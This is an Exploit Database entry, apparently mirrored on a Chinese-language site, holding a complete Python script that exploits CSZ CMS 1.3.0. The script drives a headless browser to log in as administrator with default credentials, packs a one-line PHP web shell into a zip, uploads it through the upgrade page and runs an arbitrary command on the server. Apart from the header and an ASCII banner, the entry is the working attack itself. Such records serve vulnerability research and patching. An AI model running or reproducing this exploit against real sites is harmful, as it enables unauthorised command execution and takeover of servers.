CSZ CMS Version 1.3.0 – Authenticated Remote Command Execution

• Exploit Database
• 39 阅读

• 作者： tmrswrr
  日期： 2024-03-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51863/

• # Exploit Title: CSZ CMS Version 1.3.0 Remote Command Execution
  # Date: 17/11/2023
  # Exploit Author: tmrswrr
  # Vendor Homepage: https://www.cszcms.com/
  # Software Link: https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download
  # Version: Version 1.3.0
  # Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS
  
  
  import os
  import zipfile
  from selenium import webdriver
  from selenium.webdriver.common.by import By
  from selenium.webdriver.firefox.options import Options as FirefoxOptions
  from selenium.webdriver.firefox.service import Service as FirefoxService
  from webdriver_manager.firefox import GeckoDriverManager
  from selenium.webdriver.support.ui import WebDriverWait
  from selenium.webdriver.support import expected_conditions as EC
  from selenium.common.exceptions import NoSuchElementException, TimeoutException
  import requests
  from time import sleep
  import sys
  import random
  import time
  import platform
  import tarfile
  from io import BytesIO
  
  email = "admin@admin.com" 
  password = "password"
  
  class colors:
  OKBLUE = '\033[94m'
  WARNING = '\033[93m'
  FAIL = '\033[91m'
  ENDC = '\033[0m'
  BOLD = '\033[1m'
  UNDERLINE = '\033[4m'
  CBLACK = '\33[30m'
  CRED = '\33[31m'
  CGREEN = '\33[32m'
  CYELLOW = '\33[33m'
  CBLUE = '\33[34m'
  CVIOLET = '\33[35m'
  CBEIGE = '\33[36m'
  CWHITE = '\33[37m'
  
  
  color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,
  colors.CRED, colors.CBEIGE]
  random.shuffle(color_random)
  
  
  def entryy():
  x = color_random[0] + """
  
  ╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮
  ┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃
  ┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯
  ┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃
  ┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃
  ╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯
  
  << CSZ CMS Version 1.3.0 RCE >>
  <<CODED BY TMRSWRR >>
  << GITHUB==>capture0x>>
  
  \n"""
  for c in x:
  print(c, end='')
  sys.stdout.flush()
  sleep(0.0045)
  oo = " " * 6 + 29 * "░⣿" + "\n\n"
  for c in oo:
  print(colors.CGREEN + c, end='')
  sys.stdout.flush()
  sleep(0.0065)
  
  tt = " " * 5 + "░⣿" + " " * 6 + "WELCOME TO CSZ CMS Version 1.3.0 RCE Exploit" + " " * 7 + "░⣿" + "\n\n"
  for c in tt:
  print(colors.CWHITE + c, end='')
  sys.stdout.flush()
  sleep(0.0065)
  xx = " " * 6 + 29 * "░⣿" + "\n\n"
  for c in xx:
  print(colors.CGREEN + c, end='')
  sys.stdout.flush()
  sleep(0.0065)
  
  def check_geckodriver():
  current_directory = os.path.dirname(os.path.abspath(__file__))
  geckodriver_path = os.path.join(current_directory, 'geckodriver')
  
  if not os.path.isfile(geckodriver_path):
  red = "\033[91m"
  reset = "\033[0m"
  print(red + "\n\nGeckoDriver (geckodriver) is not available in the script's directory." + reset)
  user_input = input("Would you like to download it now? (yes/no): ").lower()
  if user_input == 'yes':
  download_geckodriver(current_directory)
  else:
  print(red + "Please download GeckoDriver manually from: https://github.com/mozilla/geckodriver/releases" + reset)
  sys.exit(1)
  
  def download_geckodriver(directory):
  
  print("[*] Detecting OS and architecture...")
  os_name = platform.system().lower()
  arch, _ = platform.architecture()
  
  if os_name == "linux":
  os_name = "linux"
  arch = "64" if arch == "64bit" else "32"
  elif os_name == "darwin":
  os_name = "macos"
  arch = "aarch64" if platform.processor() == "arm" else ""
  elif os_name == "windows":
  os_name = "win"
  arch = "64" if arch == "64bit" else "32"
  else:
  print("[!] Unsupported operating system.")
  sys.exit(1)
  
  geckodriver_version = "v0.33.0"
  geckodriver_file = f"geckodriver-{geckodriver_version}-{os_name}{arch}"
  ext = "zip" if os_name == "win" else "tar.gz"
  url = f"https://github.com/mozilla/geckodriver/releases/download/{geckodriver_version}/{geckodriver_file}.{ext}"
  
  print(f"[*] Downloading GeckoDriver for {platform.system()} {arch}-bit...")
  response = requests.get(url, stream=True)
  
  if response.status_code == 200:
  print("[*] Extracting GeckoDriver...")
  if ext == "tar.gz":
  with tarfile.open(fileobj=BytesIO(response.content), mode="r:gz") as tar:
  tar.extractall(path=directory)
  else: 
  with zipfile.ZipFile(BytesIO(response.content)) as zip_ref:
  zip_ref.extractall(directory)
  print("[+] GeckoDriver downloaded and extracted successfully.")
  else:
  print("[!] Failed to download GeckoDriver.")
  sys.exit(1)
  
  def create_zip_file(php_filename, zip_filename, php_code):
  try:
  with open(php_filename, 'w') as file:
  file.write(php_code)
  with zipfile.ZipFile(zip_filename, 'w') as zipf:
  zipf.write(php_filename)
  print("[+] Zip file created successfully.")
  os.remove(php_filename)
  return zip_filename
  except Exception as e:
  print(f"[!] Error creating zip file: {e}")
  sys.exit(1)
  
  
  def main(base_url, command):
  
  if not base_url.endswith('/'):
  base_url += '/'
  
  zip_filename = None 
  
  check_geckodriver()
  try:
  firefox_options = FirefoxOptions()
  firefox_options.add_argument("--headless")
  
  script_directory = os.path.dirname(os.path.abspath(__file__))
  geckodriver_path = os.path.join(script_directory, 'geckodriver')
  service = FirefoxService(executable_path=geckodriver_path)
  driver = webdriver.Firefox(service=service, options=firefox_options)
  print("[*] Exploit initiated.")
  
  # Login
  driver.get(base_url + "admin/login")
  print("[*] Accessing login page...")
  driver.find_element(By.NAME, "email").send_keys(f"{email}")
  driver.find_element(By.NAME, "password").send_keys(f"{password}")
  driver.find_element(By.ID, "login_submit").click()
  print("[*] Credentials submitted...")
  
   
  try:
  error_message = driver.find_element(By.XPATH, "//*[contains(text(), 'Email address/Password is incorrect')]")
  if error_message.is_displayed():
  print("[!] Login failed: Invalid credentials.")
  driver.quit()
  sys.exit(1)
  except NoSuchElementException:
  print("[+] Login successful.")
  
  # File creation
  print("[*] Preparing exploit files...")
  php_code = f"<?php echo system('{command}'); ?>"
  zip_filename = create_zip_file("exploit.php", "payload.zip", php_code)
  
   
  driver.get(base_url + "admin/upgrade")
  print("[*] Uploading exploit payload...")
  file_input = driver.find_element(By.ID, "file_upload")
  file_input.send_keys(os.path.join(os.getcwd(), zip_filename))
  
  	# Uploading
  driver.find_element(By.ID, "submit").click()
  WebDriverWait(driver, 10).until(EC.alert_is_present())
  alert = driver.switch_to.alert
  alert.accept()
  
  # Exploit result 
  exploit_url = base_url + "exploit.php"
  response = requests.get(exploit_url)
  print(f"[+] Exploit response:\n\n{response.text}")
  
  except Exception as e:
  print(f"[!] Error: {e}")
  finally:
  driver.quit()
  if zip_filename and os.path.exists(zip_filename):
  os.remove(zip_filename)
  
  if __name__ == "__main__":
  entryy()
  if len(sys.argv) < 3:
  print("Usage: python script.py [BASE_URL] [COMMAND]")
  else:
  main(sys.argv[1], sys.argv[2])